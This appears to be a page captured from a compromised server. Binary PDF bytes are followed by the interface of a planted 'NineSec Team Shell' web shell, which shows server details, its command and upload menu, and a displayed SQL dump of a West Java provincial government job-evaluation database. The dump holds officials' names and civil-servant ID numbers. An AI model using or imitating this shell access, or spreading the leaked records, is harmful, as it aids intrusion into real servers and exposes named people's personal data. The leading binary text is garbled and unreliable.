%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.254.181
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/www/TEMP/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/www/TEMP/sij_pemprov.sql
-- phpMyAdmin SQL Dump
-- version 4.8.3
-- https://www.phpmyadmin.net/
--
-- Host: localhost:3306
-- Generation Time: Feb 12, 2019 at 01:50 PM
-- Server version: 10.2.21-MariaDB-cll-lve
-- PHP Version: 7.2.7

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `kurniayo_pemprov`
--

-- --------------------------------------------------------

--
-- Table structure for table `agency`
--

CREATE TABLE `agency` (
  `agency_id` int(10) UNSIGNED NOT NULL,
  `agency` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `agency`
--

INSERT INTO `agency` (`agency_id`, `agency`, `created_at`, `updated_at`) VALUES
(6, 'PEMERINTAH DAERAH PROVINSI JAWA BARAT', '2018-10-18 17:49:44', '2018-10-18 17:49:44');

-- --------------------------------------------------------

--
-- Table structure for table `authorities`
--

CREATE TABLE `authorities` (
  `id` int(10) UNSIGNED NOT NULL,
  `authority` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `authorities`
--

INSERT INTO `authorities` (`id`, `authority`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(2, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(3, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(4, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `conditions`
--

CREATE TABLE `conditions` (
  `id` int(10) UNSIGNED NOT NULL,
  `type` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `information` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `conditions`
--

INSERT INTO `conditions` (`id`, `type`, `information`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `correlations`
--

CREATE TABLE `correlations` (
  `id` int(10) UNSIGNED NOT NULL,
  `organization` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `position` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `correlation_use` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `correlations`
--

INSERT INTO `correlations` (`id`, `organization`, `position`, `correlation_use`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

-- --------------------------------------------------------

--
-- Table structure for table `dic_units`
--

CREATE TABLE `dic_units` (
  `id` int(10) UNSIGNED NOT NULL,
  `units` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `dic_units`
--

INSERT INTO `dic_units` (`id`, `units`, `created_at`, `updated_at`) VALUES
(1, 'DOKUMEN', '2019-01-13 23:08:53', '2019-01-13 23:08:53'),
(2, 'DRAFT', '2019-01-13 23:08:58', '2019-01-13 23:08:58'),
(3, 'KAJIAN', '2019-01-13 23:09:05', '2019-01-13 23:09:05');

-- --------------------------------------------------------

--
-- Table structure for table `dic_work_materials`
--

CREATE TABLE `dic_work_materials` (
  `id` int(10) UNSIGNED NOT NULL,
  `materials` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `dic_work_materials`
--

INSERT INTO `dic_work_materials` (`id`, `materials`, `created_at`, `updated_at`) VALUES
(1, 'PERATURAN PERUNDANG-UNDANGAN', '2019-01-13 23:09:15', '2019-01-13 23:09:15'),
(2, 'KONSEP SURAT', '2019-01-13 23:09:22', '2019-01-13 23:09:22');

-- --------------------------------------------------------

--
-- Table structure for table `dic_work_tools`
--

CREATE TABLE `dic_work_tools` (
  `id` int(10) UNSIGNED NOT NULL,
  `tools` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `dic_work_tools`
--

INSERT INTO `dic_work_tools` (`id`, `tools`, `created_at`, `updated_at`) VALUES
(1, 'KOMPUTER', '2019-01-13 23:09:33', '2019-01-13 23:09:33'),
(2, 'PRINTER', '2019-01-13 23:09:39', '2019-01-13 23:09:39');

-- --------------------------------------------------------

--
-- Table structure for table `employee`
--

CREATE TABLE `employee` (
  `employee_id` int(10) UNSIGNED NOT NULL,
  `employee_nip` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `employee` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `position_id` int(10) UNSIGNED NOT NULL,
  `employee_edu` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `employee`
--

INSERT INTO `employee` (`employee_id`, `employee_nip`, `employee`, `position_id`, `employee_edu`, `created_at`, `updated_at`) VALUES
(4, '196006021986031005', 'Dr. Ir. SUPRIYATNO, M.M.', 75, 'SD\r\nSMP\r\nSMA\r\nS1\r\nS2\r\nS3', '2018-12-11 18:50:13', '2018-12-11 18:50:13'),
(5, '196509281990101002', 'dr. H. DODO SUHENDAR, MM., BAT', 42, 'SD\r\nSMP\r\nSMA\r\nS1\r\nS2', '2018-12-11 18:54:09', '2018-12-11 18:54:09'),
(6, '196609111994022001', 'Noneng Komara Nengsih. SE. MAP', 34, 'SD, SMP, SMA, S1. S2', '2018-12-11 19:16:42', '2018-12-11 19:17:19'),
(7, '195811121981031010', 'Drs. UDJWALAPRANA SIGIT, MM.,M.Si', 78, 'SD\r\nSMP\r\nSMA\r\nS1\r\nS2', '2018-12-11 19:48:28', '2018-12-11 19:48:28'),
(8, '196004301985111001', 'Dr. H. HERRI HUDAYA', 129, 'SD\r\nSMP\r\nSMA\r\nSI\r\nS2\r\nS3', '2018-12-11 20:47:50', '2018-12-11 20:47:50'),
(9, '196107201988031007', 'Dr. R. Haryadi Wargadibrata, Drs. M.Si', 47, 'SD SMP SMA S1 S2 S3', '2018-12-19 00:23:42', '2018-12-19 00:25:22'),
(10, '196401291988031004', 'Dr. Ir. H. Yerry Yanuar, MM', 67, 'S3 Teknik Geologi\r\nS2 Magister Manajemen\r\nS1 Teknik Geologi', '2018-12-26 05:31:52', '2018-12-26 05:31:52');

-- --------------------------------------------------------

--
-- Table structure for table `evaluation`
--

CREATE TABLE `evaluation` (
  `evaluation_id` int(10) UNSIGNED NOT NULL,
  `position_id` int(10) UNSIGNED NOT NULL,
  `organization_id` int(10) UNSIGNED NOT NULL,
  `agency_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  `is_structural` int(11) DEFAULT NULL COMMENT '0: Fungsional , 1: Struktural',
  `is_approve` int(11) DEFAULT 0 COMMENT '0: Non , 1: Approve, 2:Reject'
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `evaluation`
--

INSERT INTO `evaluation` (`evaluation_id`, `position_id`, `organization_id`, `agency_id`, `created_at`, `updated_at`, `is_structural`, `is_approve`) VALUES
(1, 10, 5, 6, '2018-10-29 23:28:28', '2018-10-29 23:28:28', 1, 0),
(8, 10, 5, 6, '2019-01-21 18:30:16', '2019-01-21 18:30:16', 1, 0),
(5, 34, 9, 6, '2018-12-11 18:38:30', '2018-12-11 18:38:30', 1, 0),
(6, 62, 37, 6, '2018-12-11 18:39:34', '2018-12-11 18:39:34', 1, 0),
(7, 43, 18, 6, '2018-12-11 18:41:41', '2018-12-11 18:41:41', 1, 0),
(9, 10, 5, 6, '2019-01-28 19:18:09', '2019-01-28 19:18:09', 1, 0);

-- --------------------------------------------------------

--
-- Table structure for table `eval_detail`
--

CREATE TABLE `eval_detail` (
  `detail_id` int(10) UNSIGNED NOT NULL,
  `evaluation_id` int(10) UNSIGNED NOT NULL,
  `eval_factor` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `value` int(11) NOT NULL,
  `position_structure` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `information` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `eval_detail`
--

INSERT INTO `eval_detail` (`detail_id`, `evaluation_id`, `eval_factor`, `value`, `position_structure`, `information`, `created_at`, `updated_at`) VALUES
(1, 1, 'FAKTOR 1- RUANG LINGKUP DAN DAMPAK PROGRAM', 550, '', 'Tingkat faktor 1-3', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(2, 1, 'FAKTOR 2- PENGATURAN ORGANISASI', 100, '', 'Tingkat faktor 2-1', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(3, 1, 'FAKTOR 3- WEWENANG PENYELIAAN DAN MANAJERIAL', 775, '', 'Tingkat faktor 3-2', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(4, 1, 'SUB FAKTOR 4A - SIFAT HUBUNGAN', 75, '', 'Tingkat sub-faktor 4A-3', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(5, 1, 'SUBFAKTOR 4B - TUJUAN HUBUNGAN', 75, '', 'Tingkat sub faktor 4B-2', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(6, 1, 'FAKTOR 5- KESULITAN DALAM PENGARAHAN PEKERJAAN', 340, '', 'Tingkat faktor 5-3', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(7, 1, 'FAKTOR 6 - KONDISI LAIN', 975, '', 'Tingkat Faktor 6-3', '2018-10-29 23:28:28', '2018-10-29 23:28:28'),
(24, 8, 'FAKTOR 3 - WEWENANG PENYELIAAN DAN MANAJERIAL', 775, '', 'Tingkat faktor 3-2', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(22, 8, 'FAKTOR 1 - RUANG LINGKUP DAN DAMPAK PROGRAM', 550, '', 'Tingkat faktor 1-3', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(23, 8, 'FAKTOR 2 - PENGATURAN ORGANISASI', 100, '', 'Tingkat faktor 2-1', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(20, 6, 'FAKTOR 1 - RUANG LINGKUP DAN DAMPAK PROGRAM', 550, '', 'Tingkat faktor 1-3', '2018-12-11 18:39:34', '2018-12-11 18:39:34'),
(21, 6, 'FAKTOR 2 - PENGATURAN ORGANISASI', 250, '', 'Tingkat faktor 2-2', '2018-12-11 18:39:34', '2018-12-11 18:39:34'),
(25, 8, 'SUB FAKTOR 4A - SIFAT HUBUNGAN', 75, '', 'Tingkat sub-faktor 4A-3', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(26, 8, 'SUBFAKTOR 4B - TUJUAN HUBUNGAN', 75, '', 'Tingkat sub faktor 4B-2', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(27, 8, 'FAKTOR 5 - KESULITAN DALAM PENGARAHAN PEKERJAAN', 340, '', 'Tingkat faktor 5-3', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(28, 8, 'FAKTOR 6 - KONDISI LAIN', 975, '', 'Tingkat Faktor 6-3', '2019-01-21 18:30:16', '2019-01-21 18:30:16'),
(29, 9, 'FAKTOR 1 - RUANG LINGKUP DAN DAMPAK PROGRAM', 175, '', 'Tingkat faktor 1-1', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(30, 9, 'FAKTOR 1 - RUANG LINGKUP DAN DAMPAK PROGRAM', 175, '', 'Tingkat faktor 1-1', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(31, 9, 'FAKTOR 2 - PENGATURAN ORGANISASI', 100, '', 'Tingkat faktor 2-1', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(32, 9, 'FAKTOR 3 - WEWENANG PENYELIAAN DAN MANAJERIAL', 775, '', 'Tingkat faktor 3-2', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(33, 9, 'SUB FAKTOR 4A - SIFAT HUBUNGAN', 25, '', 'Tingkat sub-faktor 4A-1', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(34, 9, 'SUBFAKTOR 4B - TUJUAN HUBUNGAN', 100, '', 'Tingkat sub faktor 4B-3', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(35, 9, 'FAKTOR 5 - KESULITAN DALAM PENGARAHAN PEKERJAAN', 205, '', 'Tingkat faktor 5-2', '2019-01-28 19:18:09', '2019-01-28 19:18:09'),
(36, 9, 'FAKTOR 6 - KONDISI LAIN', 575, '', 'Tingkat faktor 6-2', '2019-01-28 19:18:09', '2019-01-28 19:18:09');

-- --------------------------------------------------------

--
-- Table structure for table `factors`
--

CREATE TABLE `factors` (
  `factor_id` int(10) UNSIGNED NOT NULL,
  `factor_title` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `factor_desc` mediumtext COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `is_structural` int(11) NOT NULL COMMENT '0 : fungsional, 1 : struktural',
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `factors`
--

INSERT INTO `factors` (`factor_id`, `factor_title`, `factor_desc`, `is_structural`, `created_at`, `updated_at`) VALUES
(1, 'FAKTOR 1 - RUANG LINGKUP DAN DAMPAK PROGRAM', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini menilai tingkat kerumitan dan kedalaman lingkup dan dampak umum bidang program dan pekerjaan yang diarahkan oleh pejabat struktural, termasuk dampak pekerjaan di dalam maupun di luar organisasi. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dalam menerapkan faktor ini, pertimbangkan semua bidang program, proyek, dan tugas yang secara teknis dan administratif diarahkan oleh pejabat struktural, termasuk yang dilaksanakan melalui pegawai bawahan dan pihak lain (konsultan atau kontraktor). Untuk menentukan suatu tingkat faktor, maka kriteria ruang lingkup dan dampak sebagaimana didefinisikan di bawah ini, harus dipenuhi:</span></span></span></span></p>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">RUANG LINGKUP</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ini menilai tingkat kerumitan dan kedalaman dari:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">program (segmen program) yang diarahkan; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pekerjaan yang diarahkan, produk yang dihasilkan, atau jasa yang diberikan.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:18pt; margin-right:0cm; text-align:justify\"><span style=\"font-size:12pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Cakupan geografis dan organisasi dalam program (atau segmen program) dalam instansi dimasukkan ke dalam ruang lingkup. </span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">DAMPAK</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Ini menilai dampak pekerjaan, produk, dan/atau program yang dicakup dalam &ldquo;ruang lingkup&rdquo; terhadap misi, program, kegiatan, dan kegiatan lain di dalam atau di luar instansi, instansi lain, masyarakat luas, dan lain-lain.</span></span></p>', 1, '2018-09-11 20:06:36', '2018-12-16 22:12:41'),
(14, 'FAKTOR 6 - KONDISI LAIN', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mengukur berbagai kondisi yang mempengaruhi tingkat kesulitan dan kerumitan dalam melaksanakan kewajiban wewenang dan tanggung jawab penyeliaan.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Untuk dapat menerapkan faktor ini.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Langkah 1 &ndash; bacalah setiap definisi tingkat faktor dan pilihlah tingkat faktor tertinggi yang dipenuhi oleh jabatan itu. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Langkah 2 &ndash; jika tingkat yang dipilih adalah 6-1, 6-2, atau 6-3, maka rujuklah bagian yang berjudul Situasi Khusus di bagian akhir faktor ini. Dari 8 situasi khusus, tentukan berapa banyak situasi khusus yang dipenuhi oleh jabatan tersebut. Jika memenuhi 3 atau lebih situasi khusus, maka tambahkan satu tingkat faktor pada tingkat faktor yang dipilih dalam langkah 1. Misalnya, jika tingkat faktor yang dipenuhi oleh jabatan itu adalah tingkat faktor 6-3, dan jabatan tersebut memenuhi 3 situasi khusus, maka tingkat faktor untuk jabatan tersebut menjadi tingkat 6-4.</span></span></span></span></p>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jika tingkat faktor yang dipilih dalam langkah 1 adalah tingkat faktor 6-4, 6-5, atau 6-6, maka jangan merujuk Situasi Khusus, dan jangan menambah tingkat faktor yang dipilih dalam langkah 1. </span></span></p>', 1, '2018-10-23 20:47:56', '2018-10-23 20:47:56'),
(2, 'FAKTOR 2 - PENGATURAN ORGANISASI', '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mempertimbangkan situasi organisasi dalam beberapa tingkat jabatan penyeliaan. Jika jabatan itu bertanggung-jawab kepada dua jabatan, maka pilihlah tingkat faktor yang berhubungan dengan jabatan yang mempunyai tanggung-jawab atas penilaian kinerja. </span></span></span></span></p>', 1, '2018-09-11 21:14:54', '2018-09-11 21:14:54'),
(3, 'FAKTOR 3 - WEWENANG PENYELIAAN DAN MANAJERIAL', '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini meliputi wewenang penyeliaan dan manajerial yang dijalankan secara berulang. Untuk dapat dinilai dalam faktor ini, suatu jabatan harus memenuhi ketentuan wewenang dan tanggung-jawab yang diuraikan untuk tingkat faktor tertentu. Tingkat faktor digunakan untuk pengarahan program khusus, fungsi lini, fungsi staf, dan kegiatan operasional dan penunjang. Jika wewenang duplikasi atau tidak dapat dibedakan di antara beberapa tingkat organisasi, maka suatu tingkat faktor dapat digunakan untuk jabatan pada beberapa tingkat organisasi.</span></span></span></span></p>', 1, '2018-09-11 21:23:35', '2018-09-11 21:23:35'),
(7, 'FAKTOR 4 - HUBUNGAN PERSONAL', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini terdiri dari dua bagian yaitu sifat dan maksud hubungan/kontak yang dilakukan. Sifat hubungan yang ditentukan berdasarkan sub-faktor 4A, dan tujuan (maksud) hubungan yang ditentukan berdasarkan sub-faktor 4B, harus didasarkan pada orang yang sama yang dihubungi.</span></span></span></span></p>', 1, '2018-10-23 20:41:36', '2018-10-23 20:41:36'),
(8, 'SUB FAKTOR 4A - SIFAT HUBUNGAN', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Sub-faktor ini mencakup tingkat hubungan organisasi, wewenang, atau pengaruh, dan kesulitan dalam melakukan hubungan. Untuk dapat dinilai dalam faktor ini, maka mereka yang dihubungi harus:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">ikut berperan dalam keberhasilan pelaksanaan pekerjaan, </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">menjadi syarat yang diperlukan untuk perbaikan, </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">memiliki dampak yang besar terhadap kesulitan dan tanggung-jawab jabatan tersebut, dan </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">merupakan hubungan langsung.</span></span></span></span></li>\r\n</ol>', 1, '2018-10-23 20:42:23', '2018-10-23 20:42:23'),
(12, 'SUBFAKTOR 4B - TUJUAN HUBUNGAN', '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Sub faktor ini mencakup tujuan hubungan yang meliputi pengarahan, perwakilan, negosiasi, dan komitmen, yang berhubungan dengan tanggung jawab penyeliaan dan manajemen.</span></span></p>', 1, '2018-10-23 20:46:58', '2018-10-23 20:46:58'),
(13, 'FAKTOR 5 - KESULITAN DALAM PENGARAHAN PEKERJAAN', '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Faktor ini mengukur kesulitan dan kerumitan pekerjaan dasar dalam organisasi yang diarahkan, termasuk pekerjaan lini dan staf, atau pekerjaan yang dikontrakkan yang menjadi tanggung-jawab penyelia dalam hal teknis atau pengawasan baik secara langsung atau melalui penyelia bawahan, pemimpin tim, atau pihak lain.</span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><em><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Penyelia tingkat pertama</span></span></em></span></span></p>\r\n\r\n<p 